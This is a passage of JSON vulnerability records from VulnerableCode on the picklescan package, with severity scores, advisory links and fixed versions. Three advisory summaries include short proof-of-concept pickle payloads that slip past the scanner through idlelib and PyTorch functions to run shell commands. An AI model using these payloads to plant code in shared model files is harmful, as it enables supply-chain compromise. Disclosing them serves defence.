                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-1889"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/baf03faf88fece56a89534d12ce048e5ee36e50e",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/baf03faf88fece56a89534d12ce048e5ee36e50e"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-769v-p64c-89pr",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-769v-p64c-89pr"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1889",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1889"
                },
                {
                    "reference_url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1889",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1889"
                },
                {
                    "reference_url": "https://www.sonatype.com/security-advisories/cve-2025-1889",
                    "reference_id": "cve-2025-1889",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
                        },
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                    "reference_id": "GHSA-655q-fx9r-782v",
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                    "scores": [
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                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-03-03T20:06:20Z/"
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                    "url": "https://github.com/advisories/GHSA-769v-p64c-89pr"
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                    "url": "http://public2.vulnerablecode.io/api/packages/87036?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.22",
                    "is_vulnerable": true,
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                        {
                            "vulnerability": "VCID-v5yc-uwn3-akbc"
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                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-yvv5-7ah5-dfd8"
                        },
                        {
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                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.22"
                }
            ],
            "aliases": [
                "CVE-2025-1889",
                "GHSA-769v-p64c-89pr"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-bgy1-36ca-fudc"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360635?format=api",
            "vulnerability_id": "VCID-brvs-drts-rbay",
            "summary": "Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand\n### Summary\n\nUsing idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcommand function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nfrom idlelib.pyshell import ModifiedInterpreter\nfrom types import SimpleNamespace\n\nclass EvilIdlelibPyshellModifiedInterpreterRuncommand:\n    def __reduce__(self):\n        payload = \"__import__('os').system('whoami')\"\n        fake_self = SimpleNamespace(\n            locals={},\n            tkconsole=SimpleNamespace(executing=False),\n            rpcclt=None,\n            debugger=None\n        )\n        return ModifiedInterpreter.runcommand, (fake_self, payload)\n\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-j343-8v2j-ff7w",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-j343-8v2j-ff7w"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-j343-8v2j-ff7w",
                    "reference_id": "GHSA-j343-8v2j-ff7w",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-j343-8v2j-ff7w"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89082?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.30",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
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                }
            ],
            "aliases": [
                "GHSA-j343-8v2j-ff7w"
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            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-brvs-drts-rbay"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360633?format=api",
            "vulnerability_id": "VCID-c3as-vdkf-4fem",
            "summary": "Picklescan missing detection when calling pytorch function torch.utils._config_module.load_config\n### Summary\n\nUsing torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to torch.utils._config_module.load_config function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nimport pickle\nfrom torch.utils._config_module import ConfigModule\n\nclass Evil:\n    def __reduce__(self):\n        return (os.system, ('whoami',))\n\nclass EvilTorchUtilsConfigModuleLoadConfig:\n    def __reduce__(self):\n        evil_payload = pickle.dumps(Evil())\n        return ConfigModule.load_config, (None, evil_payload)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/pull/47",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
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                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/pull/47"
                },
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                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
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                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
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                },
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                    "reference_id": "",
                    "reference_type": "",
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                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
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                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-vv6j-3g6g-2pvj",
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                            "scoring_elements": ""
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                    "url": "https://github.com/advisories/GHSA-vv6j-3g6g-2pvj"
                }
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                        },
                        {
                            "vulnerability": "VCID-kne4-tcp8-m3c3"
                        },
                        {
                            "vulnerability": "VCID-n3yg-3gcp-nyc1"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-v5yc-uwn3-akbc"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        },
                        {
                            "vulnerability": "VCID-zxc5-cgwk-qbcn"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.28"
                }
            ],
            "aliases": [
                "GHSA-vv6j-3g6g-2pvj"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-c3as-vdkf-4fem"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/212471?format=api",
            "vulnerability_id": "VCID-c5rh-vbqs-q7bp",
            "summary": "picklescan has Arbitrary file read using `io.FileIO`",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.8",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/a01c58d5dd7960db557b849817c0ab83ab111ef1",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.8",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/a01c58d5dd7960db557b849817c0ab83ab111ef1"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/pull/55",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.8",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/pull/55"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.35",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.8",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.35"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-9726-w42j-3qjr",
                    "reference_id": "GHSA-9726-w42j-3qjr",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-9726-w42j-3qjr"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr",
                    "reference_id": "GHSA-9726-w42j-3qjr",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "8.8",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/36639?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.35",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.35"
                }
            ],
            "aliases": [
                "GHSA-9726-w42j-3qjr"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-c5rh-vbqs-q7bp"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360656?format=api",
            "vulnerability_id": "VCID-cj2u-dmaj-wbd4",
            "summary": "Picklescan missing detection when calling pytorch function torch._dynamo.guards.GuardBuilder.get\n### Summary\n\nUsing torch._dynamo.guards.GuardBuilder.get function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to torch._dynamo.guards.GuardBuilder.get function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nimport types\nimport torch._dynamo.guards as guards\n\nclass EvilTorchDynamoGuardsGet:\n    def __reduce__(self):\n        fake_self = types.SimpleNamespace(scope={})\n        name = \"__import__('os').system('whoami')\"\n        return guards.GuardBuilder.get, (fake_self, name)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/pull/47",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/pull/47"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-86cj-95qr-2p4f",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-86cj-95qr-2p4f"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-86cj-95qr-2p4f",
                    "reference_id": "GHSA-86cj-95qr-2p4f",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-86cj-95qr-2p4f"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89080?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.28",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-357d-3wwy-aubk"
                        },
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-4nda-nuz6-gqgm"
                        },
                        {
                            "vulnerability": "VCID-555e-6p5m-xbbc"
                        },
                        {
                            "vulnerability": "VCID-6723-ghp7-yqd1"
                        },
                        {
                            "vulnerability": "VCID-6pqf-4qcr-ckac"
                        },
                        {
                            "vulnerability": "VCID-6smr-kf6r-53gc"
                        },
                        {
                            "vulnerability": "VCID-7dgj-c6cm-v3bt"
                        },
                        {
                            "vulnerability": "VCID-7jv5-uxzs-cucb"
                        },
                        {
                            "vulnerability": "VCID-83zm-7pnx-gkag"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-b4zf-mwfc-53bm"
                        },
                        {
                            "vulnerability": "VCID-b8nm-k5xu-yfc8"
                        },
                        {
                            "vulnerability": "VCID-bepy-gm8w-83e5"
                        },
                        {
                            "vulnerability": "VCID-brvs-drts-rbay"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-d1k5-6npz-2kcg"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fbng-xtyv-zqdf"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fsjg-pn1f-fqd6"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-hm3p-7t8t-bfb7"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-kne4-tcp8-m3c3"
                        },
                        {
                            "vulnerability": "VCID-n3yg-3gcp-nyc1"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-v5yc-uwn3-akbc"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        },
                        {
                            "vulnerability": "VCID-zxc5-cgwk-qbcn"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.28"
                }
            ],
            "aliases": [
                "GHSA-86cj-95qr-2p4f"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-cj2u-dmaj-wbd4"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/212463?format=api",
            "vulnerability_id": "VCID-cq25-8mmm-3yfg",
            "summary": "Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/f2dea43e0c838e09ace1e62994143254b51de927",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/f2dea43e0c838e09ace1e62994143254b51de927"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.34",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.34"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-46h3-79wf-xr6c",
                    "reference_id": "GHSA-46h3-79wf-xr6c",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-46h3-79wf-xr6c"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-46h3-79wf-xr6c",
                    "reference_id": "GHSA-46h3-79wf-xr6c",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-46h3-79wf-xr6c"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/36386?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.34",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.34"
                }
            ],
            "aliases": [
                "GHSA-46h3-79wf-xr6c"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-cq25-8mmm-3yfg"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360671?format=api",
            "vulnerability_id": "VCID-cupp-7ca3-wfa6",
